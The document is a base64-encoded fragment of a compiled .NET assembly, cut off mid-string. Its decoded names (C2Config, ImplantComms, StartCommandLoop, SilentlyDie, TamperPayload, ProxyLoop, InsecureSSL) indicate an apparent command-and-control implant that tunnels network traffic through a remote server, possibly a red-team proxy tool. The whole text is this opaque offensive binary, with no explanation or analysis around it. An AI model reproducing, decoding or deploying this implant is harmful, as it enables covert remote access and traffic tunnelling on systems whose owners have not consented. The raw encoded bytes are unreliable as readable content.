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JfXzI3XzAAPD5jX19EaXNwbGF5Q2xhc3M4XzAAPEJ1aWxkUmVxdWVzdFBheWxvYWQ+Yl9fMAA8TG9nRXJyb3I+Yl9fMAA8RmFpbEVycm9yPmJfXzAAPE9wZW5OZXdDb25uZWN0aW9uVG9UYXJnZXQ+Yl9fMABOdWxsYWJsZWAxAElFbnVtZXJhYmxlYDEAQWN0aW9uYDEATGlzdGAxAEludDMyAERpY3Rpb25hcnlgMgBGdW5jYDMAcHVibGljS2V5YjY0AF9fU3RhdGljQXJyYXlJbml0VHlwZVNpemU9MTYAVUludDE2AGdldF9TaGEyNTYAZ2V0X1VURjgAPD45ADxNb2R1bGU+ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPgBFWENIQU5HRUQAQ09ORklSTUVEAENMT1NFRABDUkVBVEVEAElETEUAREVGQVVMVFNFU1NJT05DT09LSUVOQU1FAFNFTkRJTkcARVhDSEFOR0lORwBDT05GSVJNSU5HAFJFQ0VJVklORwBCdWlsZEVDREgAQnVpbGRTZXJ2ZXJVUkkAZ2V0X0NvbW1hbmRTZXJ2ZXJVSQBzZXRfQ29tbWFuZFNlcnZlclVJAGdldF9VUkwAZ2V0X0luc2VjdXJlU1NMAHNldF9JbnNlY3VyZVNTTABpbnNlY3VyZVNTTABQUk9YWU9QRU4AU3lzdGVtLklPAElzSVAAZ2V0X1RhcmdldElQAHNldF9UYXJnZXRJUABFUlJPUgBUSU1FQkVUV0VFTlJFQURTAFRJTUVCRVRXRUVOU0VSVkVSU0VORFMAU1RBVFVTAERFRkFVTFRVU0VSQUdFTlQAVE9UQUxTT0NLRVRUSU1FT1VUAGdldF9JVgBzZXRfSVYAR2VuZXJhdGVJVgB2YWx1ZV9fAG1zY29ybGliAGdldF9FY2NQdWJsaWNCbG9iAHNiADw+YwBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBjb21tYW5kQ2hhbm5lbElkAGdldF9Db21tYW5kQ2hhbm5lbFNlc3Npb25JZABzZXRfQ29tbWFuZENoYW5uZWxTZXNzaW9uSWQAX2NvbW1hbmRDaGFubmVsU2Vzc2lvbklkAF9zZXNzaW9uSWQAZXJyb3JJZAB0YXJnZXRJZABSZWFkAGVuY29kZWRFbmNQYXlsb2FkAHNlc3Npb25QYXlsb2FkAFRhbXBlclBheWxvYWQAQnVpbGRSZXF1ZXN0UGF5bG9hZABwYXlsb2FkAEFkZABJbml0aWFsQ29ubmVjdGlvblN1Y2NlZGVkAFJpam5kYWVsTWFuYWdlZABBZXNNYW5hZ2VkAENvbW1hbmRDaGFubmVsU2Vzc2lvbklkQ2hhbmdlZAByZXRyeVJlcXVpcmVkAGdldF9Db25uZWN0ZWQAZ2V0X0lzQ2FuY2VsbGF0aW9uUmVxdWVzdGVkAFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZABOZXdHdWlkADxJbnNlY3VyZVNTTD5rX19CYWNraW5nRmllbGQAPFRhcmdldElQPmtfX0JhY2tpbmdGaWVsZAA8X2NhbmNlbFRva2VuU291cmNlPmtfX0JhY2tpbmdGaWVsZAA8U3RhdHVzQ29kZT5rX19CYWNraW5nRmllbGQAPF9Mb2dNZXNzYWdlPmtfX0JhY2tpbmdGaWVsZAA8U2lsZW50bHlEaWU+a19fQmFja2luZ0ZpZWxkADxTZXJ2ZXJDb29raWU+a19fQmFja2luZ0ZpZWxkADxQYXlsb2FkQ29va2llTmFtZT5rX19CYWNraW5nRmllbGQAPEVsYXBzZWRUaW1lPmtfX0JhY2tpbmdGaWVsZAA8QzJDb25maWc+a19fQmFja2luZ0ZpZWxkADxfQmFubmVyTWVzZz5rX19CYWNraW5nRmllbGQAPF9jYW5jZWxUb2tlbj5rX19CYWNraW5nRmllbGQAPEVuY3J5cHRpb24+a19fQmFja2luZ0ZpZWxkADxfY29tbWFuZENoYW5uZWxMb29wPmtfX0JhY2tpbmdGaWVsZAA8UHJveHlMb29wPmtfX0JhY2tpbmdGaWVsZAA8SG9zdEhlYWRlcj5rX19CYWNraW5nRmllbGQAPEVycm9ySGFuZGxlcj5rX19CYWNraW5nRmllbGQAPENtZENvbW1zaGFuZGxlcj5rX19CYWNraW5nRmllbGQAPFRhbXBlcj5rX19CYWNraW5nRmllbGQAPF9Mb2dFcnJvcj5rX19CYWNraW5nRmllbGQAPF9GYWlsRXJyb3I+a19fQmFja2luZ0ZpZWxkADxFbmNyeXB0b3I+a19fQmFja2luZ0ZpZWxkADxVUkxQYXRocz5rX19CYWNraW5nRmllbGQAPEltcGxhbnRDb21tcz5rX19CYWNraW5nRmllbGQAPFZlcmJvc2VFcnJvcnM+a19fQmFja2luZ0ZpZWxkADxTdGF0dXM+a19fQmFja2luZ0ZpZWxkADxBdXRvUmV